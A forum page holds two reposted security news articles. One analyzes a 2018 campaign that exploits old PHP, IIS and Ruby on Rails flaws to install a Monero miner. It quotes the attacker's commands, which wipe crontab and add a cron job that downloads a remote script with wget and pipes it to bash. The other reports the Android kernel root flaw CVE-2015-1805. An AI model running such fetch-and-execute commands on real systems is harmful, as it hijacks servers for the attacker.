Search the Community
Showing results for tags 'compromise'.
Found 2 results
straycat19 posted a topic in Security & Privacy NewsIn the last 24 hours, 30% of networks worldwide have experienced compromise attempts by a crypto-miner targeting web servers. During that period, the lone attacker attempted to exploit 30% of all networks worldwide to find vulnerable web servers in order to mobilize them to his mining pool. Among the top countries targeted are the United States, Germany, United Kingdom, Norway and Sweden, though no country has gone unscathed. With the growing popularity of virtual currency and its increasing value, the methods for mining these coins has grown as well. In 2017, usage of everyday websites for the mining of various cryptocurrencies became popular, with thousands of them being utilized for their CPU power. Having entered 2018, it seems that actors are again attempting to recruit any available machine for the sole purpose of self-profit. What was previously seen as a minor annoyance has turned into a huge wave of attack attempts across the globe, for it seems attackers are no longer satisfied with just personal computers and are now targeting powerful web servers to increase their computational resources. With a new attack vector, aiming to install a Monero miner on web servers, the attacker in this case was looking to get more bang for his buck by using the extended computation power of web servers. Surprisingly, by using old vulnerabilities published and patched in 2012 and 2013, it doesn’t seem that stealth was part of the attacker’s agenda either. Instead, the attacker chose to exploit multiple vulnerabilities in HTTP web servers, to distribute an open source Monero miner – XMRig. In fact, XMRig usually sends a donation of 5% of the revenue gained from the mining process to the code’s author. However, even this amount was too much for the attacker to part with as that ‘donation element’ was deleted from the code, giving the enthusiast 100% of the profit. Up to the moment of publication, approximately 700 servers worldwide have been successfully enslaved to this mining pool, making our villain for now only $540 richer…but this is just day one. The Infection Chain As monitored by our sensors and honey-pots, the attacker attempts to use multiple web server vulnerabilities to inject the malicious code onto the vulnerable machines. Among the targeted servers we found attacks on PHP, Microsoft IIS, and Ruby on Rails. Looking into Figure 2, we see an attempt to infect a PHP server, in order to inject the code and download the final payload. Figure 2: PHP servers attack vector The POST method is used to inject the malicious PHP snippet, which we will analyze shortly, and allows the crypto miner to start running. Aside from that, the actor has also made use of known vulnerabilities within Ruby on Rails and Microsoft IIS. The Ruby on Rails base64 encoded attack vector exploits CVE-2013-0156 and can be found below. Figure 3: Ruby on Rails attack vector Just like we saw in the first PHP attack, the Ruby on Rails exploit is also using a POST method to inject its code onto the server. While the body of the text may look different than the first, it is in fact the same line of code, only encoded in Base64 as an attempt to avoid detection. Once the vulnerability has been exploited the code can start running. Injected Code Analysis Now that the injection has made its way onto the server, let’s analyze the different parts of the code. crontab –r The cron is a UNIX based scheduler which allows running scheduled tasks at fixed times via its own syntax. Running the crontab command with the –r argument will remove all existing tasks in the existing crontab and allow for the miner to take full priority. echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab – Now the attacker can inject the new job to the clean crontab file using the “1 * * * *” which will tell the scheduler to run once an hour for one minute infinitely. The new job will download and execute the “robots.txt” file hosted on “internetresearch.is.” and the mining process can begin. It is interesting to note that the scheduler isn’t just being told to run the mining process every hour, it is being told to run the whole process, which includes downloading the file from the server. This is possibly to allow the attacker to initiate an immediate kill switch for the miner bot. If the attacker would like to end the process on the infected machines, all that needs to be done is modify the robots.txt file on the compromised webserver to be inactive. Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners. Weaponization Many websites contain the robots.txt file to give instructions to various web robots scouring the internet. The web robots will then read the robots.txt file and make decisions about the site based on that file. This process is called the Robots Exclusion Protocol. This simply tells the web robot that it shouldn’t be looking in specific locations on the site. However, as seen in the current campaign the file looks far more ominous. Figure 4: Normal robots.txt vs robots.txt seen in the campaign This previously benign file now contains a host of malicious code meant to carry out the attacker’s commands. One of the domains used in this attack, lochjol.com, was seen being used in another attack back in 2013. The previous attack also leveraged the vulnerability in Ruby on Rails, and shares some common features with the current attack. Nonetheless, we cannot determine the connection between the two, and, even if they share a common attacker, their purposes seem to be different. In 2018, as in 2017, we continue to see blitz campaigns, leveraging unpatched vulnerabilities in many networks. This attack, like its predecessors, could have been prevented by simply patching old servers and deploying relevant security measures. Article
Reefa posted a topic in Security & Privacy NewsMillions of Android phones, including the entire line of Nexus models, are vulnerable to attacks that can execute malicious code and take control of core functions almost permanently, Google officials have warned. The officials have already uncovered one unidentified Google Play app that attempted to exploit the vulnerability, although they said they didn't consider the app to be doing so for malicious purposes. They are in the process of releasing a fix, but at the moment any phone that hasn't received a security patch level of March 18 or later is vulnerable. The flaw, which allows apps to gain nearly unfettered "root" access that bypasses the entire Android security model, has its origins in an elevation of privileges vulnerability in the Linux kernel. Linux developers fixed it in April 2014 but never identified it as a security threat. For reasons that aren't clear, Android developers failed to patch it even after the flaw received the vulnerability identifier CVE-2015-1805 in February 2015. "An elevation of privilege vulnerability in the kernel could enable a local malicious application to execute arbitrary code in the kernel," an Android security advisory published Friday stated. "This issue is rated as a critical severity due to the possibility of a local permanent device compromise and the device would possibly need to be repaired by re-flashing the operating system." Google officials went on to say they are aware of at least one application that was available both within and outside of the official Play market place that exploited the vulnerability. Many users willingly install such rooting apps to give their phones capabilities that wouldn't be possible otherwise. Still, as Ars reported in October, the root exploits pose a danger to the entire Android user base, even when used openly by app developers to provide added functionality. Late last year, researchers from security firm Lookout found malicious apps available in Google Play that exploited unpatched rooting vulnerabilities to make them extremely difficult for average users to uninstall. Google said its Play marketplace prohibits rooting apps. Company officials also attempt to curb the installation of such apps available in other forums through use of the verify apps feature. Friday's advisory didn't identify the app that was exploiting the vulnerability except to say it was publicly available, both within and outside of Play, and worked on Nexus 5 and Nexus 6 phones. The vulnerability is present in all Android releases that use Linux kernel versions 3.4, 3.10, and 3.14. That includes all Nexus phones, as well as a large number of handsets marketed under major manufacturer brands. Android releases that use kernel versions 3.18 or higher aren't susceptible. Readers with a vulnerable phone should carefully consider the risks before knowingly installing a rooting app that exploits the flaw. They should also avoid apps available in third-party marketplaces, since they are more likely to host apps that exploit the vulnerability maliciously and without warning, and be on the lookout for updates in the coming weeks or months that patch the underlying security hole. The good news is that the flaw requires a local exploit, making remote drive-by Web attacks infeasible if not impossible. SourcE